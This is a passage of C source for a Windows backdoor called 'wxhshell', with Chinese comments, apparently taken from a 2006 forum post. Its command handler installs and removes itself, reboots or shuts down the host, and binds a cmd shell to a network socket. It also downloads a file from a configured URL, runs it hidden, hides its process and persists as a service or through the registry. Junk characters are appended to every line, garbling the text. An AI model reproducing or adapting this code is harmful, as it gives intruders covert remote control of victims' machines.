  YFP<^y=  
  // 帮助 JJy.)-R  
  case '?': { HYl~)O>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D.gD4g_O/  
    break; HJJ; gTj  
  } &pW2R}  
  // 安装 *U +<Hv`C  
  case 'i': { B[9y<FB+  
    if(Install()) IYv.~IQO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gFl@A}  
    else RoNE7|gF:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vllxv6/_  
    break; Yz#E0aTTA  
    } l2ie\4dK@  
  // 卸载 X0]{8v%  
  case 'r': { h s_x @6  
    if(Uninstall()) wsB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Up0kTL  
    else >R5A@0@d5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C-XJe~  
    break; &hih p"  
    } #4<=Ira5  
  // 显示 wxhshell 所在路径 u;+8Jg+xH/  
  case 'p': { oU se~  
    char svExeFile[MAX_PATH]; |K9*><P?)2  
    strcpy(svExeFile,"\n\r"); WyRSy-{U(}  
      strcat(svExeFile,ExeFile); nw(R=C  
        send(wsh,svExeFile,strlen(svExeFile),0); udmLHc  
    break; gegM&Xo  
    } Xk\IO0GF  
  // 重启 7M8cF>o  
  case 'b': { cbl>:ev1h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 31UxYBY  
    if(Boot(REBOOT)) +\$c_9|C+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A1r%cs  
    else { _]-8gr-T  
    closesocket(wsh); g)=$zXWhP  
    ExitThread(0); n.t5:SW  
    } ;" Aj80  
    break; TO.STK`  
    } T?RN} @D  
  // 关机 aRElk&M  
  case 'd': { 3iUJ!gK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $41<ldJ  
    if(Boot(SHUTDOWN)) wE"lk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^4NRmlb  
    else { ay|jq "a  
    closesocket(wsh); ]_|'N7J  
    ExitThread(0); -<9Qez)y  
    } /q}(KJX  
    break; fDqDU  
    } hnH<m7  
  // 获取shell 0U:X[2|)  
  case 's': { BMI`YGjY1  
    CmdShell(wsh); ?PqkC&o[q  
    closesocket(wsh); IaQm)"Z  
    ExitThread(0); k`&FyN^)  
    break; q*5L",  
  } ` &bF@$((  
  // 退出 _>n)HG  
  case 'x': { 'n>44_7L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O2?yI8|Jn  
    CloseIt(wsh); ^/$dSXKF  
    break; y10W\beJ  
    } ,A $IFE  
  // 离开 Pksr9"Ah  
  case 'q': { ~5h4 Gy)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +nHr+7}  
    closesocket(wsh); YtKT3u:x  
    WSACleanup(); Nsq=1) <  
    exit(1); SjpCf8Z(  
    break; S7WHOr9XMV  
        } QlV(D<  
  } y z!L:1DG  
  } QV.>Cy  
']fyD3N  
  // 提示信息 #pgD-0_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SXYwhID=  
} f3qR7%X?  
  }  maHz3:  
qo 7<g*kf~  
  return; ;dMr2y`6  
} g!' x5#]n  
9M'"q7Kh  
// shell模块句柄 -?:8s v*X  
int CmdShell(SOCKET sock) $[ S 33Q  
{ Te~jYkCd  
STARTUPINFO si; rir,|y,  
ZeroMemory(&si,sizeof(si)); jD"nEp-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xzOvc<u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )m3emMO2  
PROCESS_INFORMATION ProcessInfo; 9eq)WI/  
char cmdline[]="cmd"; :h(3Ep  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {d'B._#i  
  return 0; s.rQiD  
} X_nbNql  
xu"-Uj1  
// 自身启动模式 `>g\gaQ  
int StartFromService(void) -6uLww=w4  
{ N#jUqm  
typedef struct +PWm=;tcC  
{ @HB=h N  
  DWORD ExitStatus; Qi dI  
  DWORD PebBaseAddress; L gX2KU"  
  DWORD AffinityMask; @ N'P?i  
  DWORD BasePriority; EZ/_uj2&SN  
  ULONG UniqueProcessId; W ^Fkjqpv  
  ULONG InheritedFromUniqueProcessId; PWvTC`?  
}   PROCESS_BASIC_INFORMATION; p=eSJ*  
NX(IX6^y  
PROCNTQSIP NtQueryInformationProcess; e@vZg8Ie  
%rnRy<9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Jg<H %%f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *P7n YjG  
zA$ Y@f  
  HANDLE             hProcess; fj( WH L  
  PROCESS_BASIC_INFORMATION pbi; +/%4E %  
:N^B54o%6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5>CeFy  
  if(NULL == hInst ) return 0; s nxwe  
h82y9($cZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XPq`; <G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2uY:p=DxG9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ak3WER|f#  
X"g,QqDD  
  if (!NtQueryInformationProcess) return 0; ^i WGGnGS  
y,Bj,zw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'cQ`jWZQ  
  if(!hProcess) return 0; #=Xa(<t  
;UX9Em  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HlkjyD8  
s/E9$*0  
  CloseHandle(hProcess); h<?I?ZR0$  
X%iqve"{nB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F3Da-6T@  
if(hProcess==NULL) return 0; {/?{UbU  
Cx(HsJ! ,  
HMODULE hMod; "].TKF#yg  
char procName[255]; T?u*ey~Tv  
unsigned long cbNeeded; j `3IizN2  
c(?OE' "Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \B/( H)Cd*  
b^8"EBo  
  CloseHandle(hProcess); @.`HvS  
436SIh  
if(strstr(procName,"services")) return 1; // 以服务启动 cY~lDLyB  
5/m*Lc+r  
  return 0; // 注册表启动 ih:%U  
} ,(c'h:@M  
_A]~`/0;`  
// 主模块 B]7QOf"  
int StartWxhshell(LPSTR lpCmdLine) \4*i;a.kU  
{ =*y{y)B^g  
  SOCKET wsl; .J5or  
BOOL val=TRUE; S|@ Y !  
  int port=0; KHaYb5(a[  
  struct sockaddr_in door; 6ESS>I"su  
%-!:$ 1;  
  if(wscfg.ws_autoins) Install(); G CcSI;w  
,Qe`(vU*s  
port=atoi(lpCmdLine); e=u}J%|  
1tpt433  
if(port<=0) port=wscfg.ws_port; _&@cU<bdee  
<("P5@cExU  
  WSADATA data; 9 &Od7Cn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \WVY@eB  
= &U7:u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [vCZD8"Y8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <jVk}gi)Jp  
  door.sin_family = AF_INET; W?12'EG}xa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hA"z0Fszh  
  door.sin_port = htons(port); C9T- 4o1  
]b&qC (  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L w/ZKXDU2  
closesocket(wsl); (]<G)+*  
return 1; ou&7v<)x4  
} v{U1B  
EmcwX4|  
  if(listen(wsl,2) == INVALID_SOCKET) { KH1/B_.\V  
closesocket(wsl); TUO#6  
return 1; qjvIp-  
} s8kkf5bu  
  Wxhshell(wsl); |G-o&m"  
  WSACleanup(); C? b_E  
&T-udgR9  
return 0; :cTwp K  
&nF7CCF  
} 3^AS8%qG  
.aR$ou,7  
// 以NT服务方式启动 O7I|<H/gVE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !O8vr4=  
{ ps?B;P  
DWORD   status = 0; nF| m*_DW  
  DWORD   specificError = 0xfffffff; D&&11Iz&  
N+ R/ti  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8DNGqaH;dt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E|^~R}z)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uH!;4@ uI  
  serviceStatus.dwWin32ExitCode     = 0;  !.k  
  serviceStatus.dwServiceSpecificExitCode = 0; )u'("  
  serviceStatus.dwCheckPoint       = 0; Eq/%k $6#1  
  serviceStatus.dwWaitHint       = 0; %!1:BQ,p,i  
Nb;Yti@Y.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PfVjfrI[  
  if (hServiceStatusHandle==0) return; ?en%m|}0  
 kQm\;[R  
status = GetLastError(); 9Q%Fel.  
  if (status!=NO_ERROR) xlaBOKa%  
{ X\1'd,V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j^Z3  
    serviceStatus.dwCheckPoint       = 0; 8[;U|SR"  
    serviceStatus.dwWaitHint       = 0; cB7=4:U  
    serviceStatus.dwWin32ExitCode     = status; } Pc6_#  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jk7[}Jc$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R:v`\  
    return; `795 K8  
  } }3!.e  
asI:J/%+2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PRCr7f  
  serviceStatus.dwCheckPoint       = 0; `+QrgtcEy4  
  serviceStatus.dwWaitHint       = 0; U vOB`Vj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pOip$Z  
} ~Hs a6F&F  
N|h}'p  
// 处理NT服务事件,比如:启动、停止 ZUMzWK5Th  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %zB `Sd<  
{ )vk$]<$  
switch(fdwControl) i5*sG^<$H  
{ @&2bLJJ+  
case SERVICE_CONTROL_STOP: B;':Eaa@  
  serviceStatus.dwWin32ExitCode = 0; p9 |r y+t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /cDla5eej  
  serviceStatus.dwCheckPoint   = 0; J%_ :A"  
  serviceStatus.dwWaitHint     = 0; =2{^qvP  
  { C;;dCsiV5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?!-2G  
  } y_8 8I:O  
  return; @K]D :MSS  
case SERVICE_CONTROL_PAUSE: )fR'1_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wel-a< e  
  break; 6P!M+PO  
case SERVICE_CONTROL_CONTINUE: !K1[o'o#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #f~#38_  
  break; }dE0WJcO  
case SERVICE_CONTROL_INTERROGATE: [*#ms=Zdc  
  break; ; eq^m,oz  
}; i%0Ml:Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'zZN]P  
} qI"@ PI!s  
Yt7R[|  
// 标准应用程序主函数 D'#Wc#b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) grnlJ=  
{ b4s.`%U  
Yyby 1  
// 获取操作系统版本 izow=}  
OsIsNt=GetOsVer(); hO@'WoniW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NS;,(v{*N  
'ac %]}`-  
  // 从命令行安装 Y_)!U`>N?  
  if(strpbrk(lpCmdLine,"iI")) Install(); q3e %L  
Y|g8xkI}XB  
  // 下载执行文件 )avli@W-3j  
if(wscfg.ws_downexe) { SI)u@3hl&w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j}'spKxu  
  WinExec(wscfg.ws_filenam,SW_HIDE); frk(2C8T  
} [F/>pL5U$  
Je[wGF:%:$  
if(!OsIsNt) { KZ pqbI Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 hkee,PiiP  
HideProc(); [ K;3Qf)  
StartWxhshell(lpCmdLine); q<yp6Q3^  
} 9^<t0oY  
else r'uD|T H  
  if(StartFromService()) gN Xg  
  // 以服务方式启动 \IbGNV`q  
  StartServiceCtrlDispatcher(DispatchTable); m@R!o  
else |vw0:\/ H  
  // 普通方式启动 _<|NVweFS  
  StartWxhshell(lpCmdLine); c=K . |g,  
r'#5ncB  
return 0; nc!P !M  
}
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只看该作者 1 发表于: 2006-10-10
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